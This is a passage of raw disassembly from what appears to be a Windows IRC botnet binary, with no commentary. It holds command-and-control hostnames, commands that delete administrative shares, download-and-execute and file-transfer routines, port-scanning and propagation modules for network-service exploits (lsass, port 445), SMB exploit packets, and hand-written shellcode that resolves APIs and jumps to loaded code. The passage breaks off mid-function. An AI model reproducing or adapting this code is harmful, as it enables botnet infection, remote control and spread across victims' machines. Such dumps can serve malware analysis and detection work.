43D18Bh, 0FFFFFFFFh dd 43D196h, 0FFFFFFFFh, 43D1A1h, 0FFFFFFFFh, 43D1ACh, 0FFFFFFFFh dd 43D1B7h, 0FFFFFFFFh, 43D1C2h, 0FFFFFFFFh, 43D1CDh, 0FFFFFFFFh dd 43D1D8h, 0FFFFFFFFh, 43D1E3h, 34Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrrrrrrrrr+7Ah dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_403530+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4445EC: ; DATA XREF: sub_403530+66o ; sub_40FE30:loc_41070Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C30+86Fo ; sub_404C30+AEBo ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C30+82Bo ; sub_404C30+B58o ... align 10h asc_444600: ; DATA XREF: sub_404600:loc_4046DFo ; sub_404600+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404600+75o ; sub_40FE30:loc_410819o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_444684 dd 255C7325h, 73h ; sub_40D030+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C30+D72o align 8 aN: ; DATA XREF: sub_404C30+D1Do unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C30+971o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C30+75Co align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C30+6CFo align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C30+610o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C30+444o ; sub_41C130+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C30+1A3o ; sub_404C30+9ABo ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066A0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406850+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406850+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406850:loc_40694Bo a2003 db '2003',0 ; DATA XREF: sub_406850+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406850+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406850+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406850+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406850+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406850+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406850+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do ; ___:00406E85o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o ; sub_40ECF0+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o dd 0 dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:0040879Co ... dword_4447F8 dd 2Eh ; ___:0041B2AAo ... aMicrosoftVisua db 'MicroSoft Visual SP',0 ; DATA XREF: sub_4077E0+403o dd 0 aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o align 4 aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o align 4 aSet db 'set',0 ; DATA XREF: sub_4077E0+359o asc_444830 db 'X-',0 ; DATA XREF: sub_4077E0+348o align 4 aAydassklfsdsew db 'aydassklfsdsewrlkwel',0 ; DATA XREF: sub_4077E0+337o align 10h aIgxdfdfds_com db 'igxdfdfds.com',0 ; DATA XREF: sub_4077E0+326o align 10h aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o align 4 off_444868 dd offset byte_582323 ; DATA XREF: sub_4077E0+307o dword_44486C dd 23582323h, 23ha9890 db '9890',0 ; DATA XREF: sub_4077E0+29Bo align 4 aF_unicat_org db 'f.unicat.org',0 ; DATA XREF: sub_4077E0+283o align 10h off_444890 dd offset off_43F1D4 ; DATA XREF: ___:00440014o align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4448B0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4448D8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409650+21o ; ___:0040AA41o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B750+3Fo ; sub_40B7D0+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B86Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B914o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC2Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB47o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA81o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B9F4o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4D0+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C4D0+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4D0+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4D0+327o align 10h dword_444A00 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C4D0+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4D0+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4D0+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4D0+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4D0+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4D0+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC80+1B1o dd 0 asc_444AD4: ; DATA XREF: sub_40CC80+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D030+115o align 4 aS_1 db '%s\*',0 ; DATA XREF: sub_40D030+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D549o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D650+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D650+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D650+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D650+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D650+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC10+4D3o align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC10+37Co db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE30+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE30+21o ; sub_40F050+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F501o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F444o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F349o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F29Do align 10h dd 0 asc_444C54 db ' :',0 ; DATA XREF: sub_40FE30+E2Bo ; sub_40FE30+1118o ... align 4 asc_444C58: ; DATA XREF: sub_40FE30+CACo ; sub_40FE30+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FE30:loc_4107F8o ; sub_40FE30:loc_410A87o aS_2 db ' -s',0 ; DATA XREF: sub_40FE30:loc_4107CFo ; sub_40FE30:loc_410A66o asc_444C64: ; DATA XREF: sub_40FE30+871o ; sub_40FE30:loc_410AA8o ... unicode 0, <:>,0 a@: ; DATA XREF: sub_40FE30+7CCo ; sub_40FE30+D2Do ... unicode 0, <@>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FE30+65Do ; sub_40FE30+732o ... align 4 dd 0 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FE30+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 8 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FE30+2C4o ; sub_4122D0+91o ... align 8 aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+4E3o align 4 aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+386o ; sub_426070+12Do ... align 10h aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+CBo ; sub_412590+8Fo align 10h aPublic db '[PUBLIC]',0 ; DATA XREF: sub_4122D0:loc_4123DBo align 4 aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_4122D0+104o align 4 a_ db '. ',0 ; DATA XREF: sub_4122D0+CAo ; sub_4122D0+E5o align 4 aLan db 'lan: ',0 ; DATA XREF: sub_4122D0+AEo align 4 aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FE7o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412F94o align 4 aId db 'id',0 ; DATA XREF: ___:loc_412F3Ao align 4 asc_444D08: ; DATA XREF: ___:loc_412F23o dw 3Ch unicode 0, <>,0 asc_444D0C: ; DATA XREF: ___:loc_412F0Co dw 3Eh unicode 0, <>,0 asc_444D10 db '==',0 ; DATA XREF: ___:loc_412EF5o align 4 asc_444D14 db '!=',0 ; DATA XREF: ___:00412EE1o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4138A0+B7o align 10h aSS_6 db '%s: %s',0 ; DATA XREF: sub_419300+321o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_419300+2F9o align 10h aSD_1 db '%s:%d',0 ; DATA XREF: sub_419300+284o ; sub_419300+2ADo align 4 aListening db 'listening',0 ; DATA XREF: sub_419300+222o align 4 aEstablished db 'established',0 ; DATA XREF: sub_419300+217o dd 0 off_444D54 dd offset dword_504354 ; DATA XREF: sub_419300+152o ; ___:0042C5F2o ... dword_444D58 dd 2D464544h, 504354h, 0 ; sub_419300+140o dword_444D64 dd 652Dh dword_444D68 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o align 10h dd 0 aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo align 4 byte_444DA4 db 1 ; DATA XREF: sub_41A390r align 4 dword_444DA8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_444DF4: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_444E08 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54 dd 63257325h, 0 ; sub_41F860+E5o dword_444E5C dd 72h dword_444E60 dd 30h ; sub_424920+327o dword_444E64 dd 3039h dword_444E68 dd 383631h dword_444E6C dd 323931h dword_444E70 dd 3631h dword_444E74 dd 323731h dword_444E78 dd 3031h off_444E7C dd offset dword_5C005C ; DATA XREF: ___:0041C217r ; ___:0041C387r word_444E80 dw 0 ; DATA XREF: ___:0041C221r ; ___:0041C391r align 4 off_444E84 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r ; ___:0041C356r off_444E88 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr ; ___:0041C35Br dword_444E8C dd 24h ; ___:0041C37Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_444EC8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_444FCC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC dd 6469706Bh, 7325203Ah, 0dword_444FE8 dd 203A736Bh, 7325hdword_444FF0 dd 202E6425h, 7325202Fh, 0dword_444FFC dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_445078: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 aNla db 'Nla',0 ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44530C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_4453E0: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_445418 dd 1BDh ; sub_422B40+310o ... off_44541C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr dword_445420 dd 0 ; sub_4236F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401820h, 0 dd 1, 0 aNet445 db 'net445',0 align 10h dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 402199h, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401DCAh, 0 dd 1, 1Fh dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422B40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422B40+747o off_4455E0 dd offset dword_612D20 ; DATA XREF: sub_422B40+737o ; sub_422B40+7A3o ... dword_4455E4 dd 722D20h ; sub_422B40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do align 4 dd 0 dword_4456DC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo ; ___:off_447670o align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423DD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004242B7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424206o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042414Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo align 10h dword_4458A0 dd 10FF8h, 0 dword_4458A8 dd 10FF8h dword_4458AC dd 7FFDF020h, 0 dword_4458B4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44593C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44596C dd 0 dword_445970 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_445978 proc near ; DATA XREF: sub_425100+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_445A74 push dword ptr [esi] push 63D61209h call sub_445A8A mov [esi+8], eax call sub_445A3D push dword ptr [esi+4] push 0CA2BD06Bh call sub_445A8A mov [esi+0Ch], eax call sub_4459EF push dword ptr [esi+4] push 4C0297FAh call sub_445A8A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_445978 endp ; =============== S U B R O U T I N E ======================================= sub_4459EF proc near ; CODE XREF: sub_445978+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_445A18 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4459EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A18 proc near ; CODE XREF: sub_4459EF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_445A27: ; CODE XREF: sub_445A18+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_445A34 inc ebx jmp short loc_445A27 ; --------------------------------------------------------------------------- loc_445A34: ; CODE XREF: sub_445A18+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_445A18 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A3D proc near ; CODE XREF: sub_445978+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_445A55: ; CODE XREF: sub_445A3D+1Ej cmp [ecx], ebx jz short loc_445A5D mov ecx, [ecx] jmp short loc_445A55 ; --------------------------------------------------------------------------- loc_445A5D: ; CODE XREF: sub_445A3D+1Aj mov edx, edi loc_445A5F: ; CODE XREF: sub_445A3D+2Aj cmp [edx+4], ebx jz short loc_445A69 mov edx, [edx+4] jmp short loc_445A5F ; --------------------------------------------------------------------------- loc_445A69: ; CODE XREF: sub_445A3D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_445A3D endp ; =============== S U B R O U T I N E ======================================= sub_445A74 proc near ; CODE XREF: sub_445978+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_445A74 endp ; =============== S U B R O U T I N E ======================================= sub_445A8A proc near ; CODE XREF: sub_445978+16p ; sub_445978+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_445AA0: ; CODE XREF: sub_445A8A+33j jecxz short loc_445ADA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld 